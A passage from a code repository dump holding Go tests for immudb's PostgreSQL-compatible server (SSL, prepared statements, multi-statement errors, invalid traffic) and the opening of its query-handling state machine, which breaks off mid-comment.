server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\t_, err = db.Exec(fmt.Sprintf(\"UPSERT INTO %s (id, title) VALUES (1, 200, 'title 1')\", table))\n\trequire.ErrorContains(t, err, isql.ErrInvalidNumberOfValues.Error())\n}\n\nfunc TestPgsqlServer_SimpleQueryQuerySSLConn(t *testing.T) {\n\ttd := t.TempDir()\n\n\tpemServerCA, err := os.ReadFile(\"cert/ca-cert.pem\")\n\trequire.NoError(t, err)\n\n\tserverCert, err := tls.LoadX509KeyPair(\"cert/server-cert.pem\", \"cert/server-key.pem\")\n\trequire.NoError(t, err)\n\n\tcertPool := x509.NewCertPool()\n\tif !certPool.AppendCertsFromPEM(pemServerCA) {\n\t\tpanic(\"failed to add client CA's certificate\")\n\t}\n\n\tcfg := &tls.Config{\n\t\tRootCAs:      certPool,\n\t\tCertificates: []tls.Certificate{serverCert},\n\t}\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithTLS(cfg)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr = srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=require user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\n\t_, err = db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n}\n\nfunc TestPgsqlServer_SSLNotEnabled(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=require user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\t_, err = db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)\", table))\n\trequire.ErrorIs(t, err, pq.ErrSSLNotSupported)\n\n}\n\nfunc TestPgsqlServer_VersionStatement(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\tvar version string\n\terr = db.QueryRow(\"SELECT version()\").Scan(&version)\n\trequire.NoError(t, err)\n\trequire.Equal(t, pgmeta.PgsqlServerVersionMessage, version)\n\n\t_, err = db.Exec(\"DEALLOCATE \\\"_PLAN0x7fb2c0822800\\\"\")\n\trequire.NoError(t, err)\n}\n\nfunc TestPgsqlServerSetStatement(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\t_, err = db.Query(\"SET test=val\")\n\trequire.NoError(t, err)\n}\n\nfunc TestPgsqlServer_SimpleQueryNilValues(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\t_, err = db.Exec(fmt.Sprintf(\"UPSERT INTO %s (id) VALUES (1)\", table))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount sql.NullInt64\n\tvar title sql.NullString\n\terr = db.QueryRow(fmt.Sprintf(\"SELECT id, amount, title FROM %s where title = null\", table)).Scan(&id, &amount, &title)\n\trequire.NoError(t, err)\n\trequire.False(t, title.Valid)\n\trequire.False(t, amount.Valid)\n}\n\nfunc getRandomTableName() string {\n\trand.Seed(time.Now().UnixNano())\n\tr := rand.Intn(100000)\n\treturn fmt.Sprintf(\"table%d\", r)\n}\n\nfunc TestPgsqlServer_ExtendedQueryPG(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\t_, err = db.Exec(fmt.Sprintf(\"INSERT INTO %s (id, amount, title, total) VALUES (1, 1111, 'title 1', 1111)\", table))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\terr = db.QueryRow(fmt.Sprintf(\"SELECT id, amount, title FROM %s where amount=? and total=? and title=?\", table), 1111, 1111, \"title 1\").Scan(&id, &amount, &title)\n\trequire.NoError(t, err)\n}\n\nfunc TestPgsqlServer_ExtendedQueryPGxNamedStatements(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := pgx.Connect(context.Background(), fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\t//db, err := pgx.Connect(context.Background(), fmt.Sprintf(\"host=localhost port=5432 sslmode=disable user=postgres dbname=postgres password=postgres\"))\n\n\trequire.NoError(t, err)\n\tdefer db.Close(context.Background())\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\t_, err = db.Exec(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title) VALUES (9999, 1111, 6666, 'title 1')\", table))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\terr = db.QueryRow(context.Background(), fmt.Sprintf(\"SELECT id, amount, title FROM %s where total=? and amount=? and title=?\", table), 6666, 1111, \"title 1\").Scan(&id, &amount, &title)\n\trequire.NoError(t, err)\n}\n\nfunc TestPgsqlServer_ExtendedQueryPGxMultiFieldsPreparedStatements(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := pgx.Connect(context.Background(), fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\n\trequire.NoError(t, err)\n\tdefer db.Close(context.Background())\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\tbinaryContent := []byte(\"my blob content1\")\n\tblobContent := hex.EncodeToString(binaryContent)\n\t_, err = db.Exec(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (1, 1000, 6000, 'title 1', x'%s', true)\", table, blobContent))\n\trequire.NoError(t, err)\n\tblobContent2 := hex.EncodeToString([]byte(\"my blob content2\"))\n\t_, err = db.Exec(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (2, 2000, 3000, 'title 2', x'%s', false)\", table, blobContent2))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\tvar isPresent bool\n\tvar content []byte\n\terr = db.QueryRow(context.Background(), fmt.Sprintf(\"SELECT id, amount, title, content, isPresent FROM %s where isPresent=? and id=? and amount=? and total=? and title=? and content=?\", table), true, 1, 1000, 6000, \"title 1\", blobContent).Scan(&id, &amount, &title, &content, &isPresent)\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), id)\n\trequire.Equal(t, int64(1000), amount)\n\trequire.Equal(t, \"title 1\", title)\n\trequire.Equal(t, binaryContent, content)\n\trequire.Equal(t, true, isPresent)\n}\n\nfunc TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedStatements(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\tbinaryContent := []byte(\"my blob content1\")\n\tblobContent := hex.EncodeToString(binaryContent)\n\t_, err = db.Exec(fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (1, 1000, 6000, 'title 1', x'%s', true)\", table, blobContent))\n\trequire.NoError(t, err)\n\tblobContent2 := hex.EncodeToString([]byte(\"my blob content2\"))\n\t_, err = db.Exec(fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (2, 2000, 3000, 'title 2', x'%s', false)\", table, blobContent2))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\tvar isPresent bool\n\tvar content []byte\n\terr = db.QueryRow(fmt.Sprintf(\"SELECT id, amount, title, content, isPresent FROM %s where isPresent=? and id=? and amount=? and total=? and title=?\", table), true, 1, 1000, 6000, \"title 1\").Scan(&id, &amount, &title, &content, &isPresent)\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), id)\n\trequire.Equal(t, int64(1000), amount)\n\trequire.Equal(t, \"title 1\", title)\n\trequire.Equal(t, binaryContent, content)\n\trequire.Equal(t, true, isPresent)\n}\n\nfunc TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedInsert(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := pgx.Connect(context.Background(), fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\tbinaryContent := []byte(\"my blob content1\")\n\tblobContent := hex.EncodeToString(binaryContent)\n\t_, err = db.Exec(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)\", table), 1, 1000, 6000, \"title 1\", blobContent, true)\n\trequire.NoError(t, err)\n\tblobContent2 := hex.EncodeToString([]byte(\"my blob content2\"))\n\t_, err = db.Exec(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)\", table), 2, 2000, 12000, \"title 2\", blobContent2, true)\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\tvar isPresent bool\n\tvar content []byte\n\terr = db.QueryRow(context.Background(), fmt.Sprintf(\"SELECT id, amount, title, content, isPresent FROM %s where isPresent=? and id=? and amount=? and total=? and title=?\", table), true, 1, 1000, 6000, \"title 1\").Scan(&id, &amount, &title, &content, &isPresent)\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), id)\n\trequire.Equal(t, int64(1000), amount)\n\trequire.Equal(t, \"title 1\", title)\n\trequire.Equal(t, binaryContent, content)\n\trequire.Equal(t, true, isPresent)\n}\n\nfunc TestPgsqlServer_ExtendedQueryPGxMultiInsertStatements(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := pgx.Connect(context.Background(), fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\t//db, err := pgx.Connect(context.Background(), fmt.Sprintf(\"host=localhost port=5432 sslmode=disable user=postgres dbname=postgres password=postgres\"))\n\n\trequire.NoError(t, err)\n\tdefer db.Close(context.Background())\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\n\t_, err = db.Exec(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title) VALUES (1, 11, 33, 'title 1'); INSERT INTO %s (id, amount, total, title) VALUES (2, 22, 66, 'title 2');\", table, table))\n\trequire.NoError(t, err)\n\n\tvar id int64\n\tvar amount int64\n\tvar title string\n\terr = db.QueryRow(context.Background(), fmt.Sprintf(\"SELECT id, amount, title FROM %s where total=? and amount=? and title=?\", table), 33, 11, \"title 1\").Scan(&id, &amount, &title)\n\trequire.NoError(t, err)\n}\n\nfunc TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedMultiInsertError(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\tdefer os.Remove(\".state-\")\n\n\tdb, err := pgx.Connect(context.Background(), fmt.Sprintf(\"host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb\", srv.PgsqlSrv.GetPort()))\n\trequire.NoError(t, err)\n\n\ttable := getRandomTableName()\n\tresult, err := db.Exec(context.Background(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", table))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, result)\n\tbinaryContent := []byte(\"my blob content1\")\n\tblobContent2 := hex.EncodeToString([]byte(\"my blob content2\"))\n\tblobContent := hex.EncodeToString(binaryContent)\n\t_, err = db.Exec(context.Background(), fmt.Sprintf(\"INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?); INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)\", table, table), 1, 1000, 6000, \"title 1\", blobContent, true, 2, 2000, 12000, \"title 2\", blobContent2, true)\n\trequire.ErrorContains(t, err, errors.ErrMaxStmtNumberExceeded.Error())\n}\n\nfunc TestPgsqlServer_InvalidTraffic(t *testing.T) {\n\ttd := t.TempDir()\n\n\toptions := server.DefaultOptions().\n\t\tWithDir(td).\n\t\tWithPort(0).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false)\n\n\tsrv := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\t_, err = http.Get(fmt.Sprintf(\"http://localhost:%d\", srv.PgsqlSrv.GetPort()))\n\trequire.Error(t, err)\n}\n"
  },
  {
    "path": "pkg/pgsql/server/query_machine.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\tpserr \"github.com/codenotary/immudb/pkg/pgsql/errors\"\n\tbm \"github.com/codenotary/immudb/pkg/pgsql/server/bmessages\"\n\tfm \"github.com/codenotary/immudb/pkg/pgsql/server/fmessages\"\n)\n\nconst (\n\thelpPrefix      = \"select relname, nspname, relkind from pg_catalog.pg_class c, pg_catalog.pg_namespace n where relkind in ('r', 'v', 'm', 'f', 'p') and nspname not in ('pg_catalog', 'information_schema', 'pg_toast', 'pg_temp_1') and n.oid = relnamespace order by nspname, relname\"\n\ttableHelpPrefix = \"select n.nspname, c.relname, a.attname, a.atttypid, t.typname, a.attnum, a.attlen, a.atttypmod, a.attnotnull, c.relhasrules, c.relkind, c.oid, pg_get_expr(d.adbin, d.adrelid), case t.typtype when 'd' then t.typbasetype else 0 end, t.typtypmod, c.relhasoids, '', c.relhassubclass from (((pg_catalog.pg_class c inner join pg_catalog.pg_namespace n on n.oid = c.relnamespace and c.relname like '\"\n\n\tmaxRowsPerMessage = 1024\n)\n\nfunc (s *session) QueryMachine() error {\n\tvar waitForSync = false\n\n\t_, err := s.writeMessage(bm.ReadyForQuery())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor {\n\t\tmsg, extQueryMode, err := s.nextMessage()\n\t\tif err != nil {\n\t\t\tif errors.Is(err, io.EOF) {\n\t\t\t\ts.log.Warningf(\"connection is closed\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\ts.HandleError(err)\n\t\t\tcontinue\n\t\t}\n\n\t\t// When an error is detected while processing any extended-query message, the backend issues ErrorResponse,\n\t\t// then reads and discards messages until a Sync is reached, then issues ReadyForQuery and returns to normal\n\t\t// message processing. (But note that no skipping occurs if an error is detected while processing Sync — this\n\t\t// ensures that there is one and only one ReadyForQuery sent for each Sync.)\n\t\tif waitForSync && extQueryMode {\n\t\t\tif _, ok := msg.(fm.SyncMsg); !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tswitch v := msg.(type) {\n\t\tcase fm.TerminateMsg:\n\t\t\treturn s.mr.CloseConnection()\n\t\tcase fm.QueryMsg:\n\t\t\tstatements := v.GetStatements()\n\n\t\t\tif statements == helpPrefix {\n\t\t\t\tstatements = \"show tables\"\n\t\t\t}\n\n\t\t\tif strings.HasPrefix(statements, tableHelpPrefix) {\n\t\t\t\ttableName := strings.Split(strings.TrimPrefix(statements, tableHelpPrefix), \"'\")[0]\n\t\t\t\tstatements = fmt.Sprintf(\"select column_name as tq, column_name as tow, column_name as tn, column_name as COLUMN_NAME, type_name as DATA_TYPE, type_name as TYPE_NAME, type_name as p, type_name as l, type_name as s, type_name as r, is_nullable as NULLABLE, column_name as rk, column_name as cd, type_name as SQL_DATA_TYPE, type_name as sts, column_name as coll, type_name as orp, is_nullable as IS_NULLABLE, type_name as dz, type_name as ft, type_name as iau, type_name as pn, column_name as toi, column_name as btd, column_name as tmo, column_name as tin from table(%s)\", tableName)\n\t\t\t}\n\n\t\t\terr := s.fetchAndWriteResults(statements, nil, nil, extQueryMode)\n\t\t\tif err != nil {\n\t\t\t\twaitForSync = extQueryMode\n\t\t\t\ts.HandleError(err)\n\t\t\t}\n\n\t\t\tif _, err = s.writeMessage(bm.ReadyForQuery()); err != nil {\n\t\t\t\twaitForSync = extQueryMode\n\t\t\t}\n\t\tcase fm.ParseMsg:\n\t\t\t_, ok := s.statements[v.DestPreparedStatementName]\n\t\t\t// unnamed prepared statement overrides previous\n\t\t\tif ok && v.DestPreparedStatementName != \"\" {\n\t\t\t\twaitForSync = extQueryMode\n\t\t\t\ts.HandleError(fmt.Errorf(\"statement '%s' already present\", v.DestPreparedStatementName))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tvar paramCols []sql.ColDescriptor\n\t\t\tvar resCols []sql.ColDescriptor\n\t\t\tvar stmt sql.SQLStmt\n\n\t\t\tif !s.isInBlackList(v.Statements) {\n\t\t\t\tstmts, err := sql.ParseSQL(strings.NewReader(v.Statements))\n\t\t\t\tif err != nil {\n\t\t\t\t\twaitForSync = extQueryMode\n\t\t\t\t\ts.HandleError(err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Note: as stated in the pgsql spec, the query string contained in a Parse message cannot include more than one SQL statement;\n\t\t\t\t// else a syntax error is reported. This restriction does not exist in the simple-query protocol, but it does exist\n\t\t\t\t// in the extended protocol, because allowing prepared statements or portals to contain multiple commands would\n\t\t\t\t// complicate the protocol unduly.\n\t\t\t\tif len(stmts) > 1 {\n\t\t\t\t\twaitForSync = extQueryMode\n\t\t\t\t\ts.HandleError(pserr.ErrMaxStmtNumberExceeded)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif paramCols, resCols, err = s.inferParamAndResultCols(stmts[0]); err != nil {\n\t\t\t\t\twaitForSync = extQueryMode\n\t\t\t\t\ts.HandleError(err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t_, err = s.writeMessage(bm.ParseComplete())\n\t\t\tif err != nil {\n\t\t\t\twaitForSync = extQueryMode\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tnewStatement := &statement{\n\t\t\t\t// if no name is provided empty string marks the unnamed prepared statement\n\t\t\t\tName:         v.DestPreparedStatementName,\n\t\t\t\tParams:       paramCols,\n\t\t\t\tSQLStatement: v.Statements,\n\t\t\t\tPreparedStmt: stmt,\n\t\t\t\tResults:      resCols,\n\t\t\t}\n\n\t\t\ts.statements[v.DestPreparedStatementName] = newStatement\n\n\t\tcase fm.DescribeMsg:\n\t\t\t// The Describe message (statement variant) specifies the name of an existing prepared statement\n\t\t\t// (or an empty string for the unnamed prepared statement). The response is a ParameterDescription\n\t\t\t// message describing the parameters needed by the statement, followed by a RowDescription message\n\t\t\t// describing the rows that will be returned when the statement is eventually executed (or a NoData\n\t\t\t// message if the statement will not return rows). ErrorResponse is issued if there is no such prepared\n\t\t\t// statement. Note that since Bind has not yet been issued, the formats to be used for returned columns\n\t\t\t// are not yet known to the backend; the format code fields in the RowDescription message will be 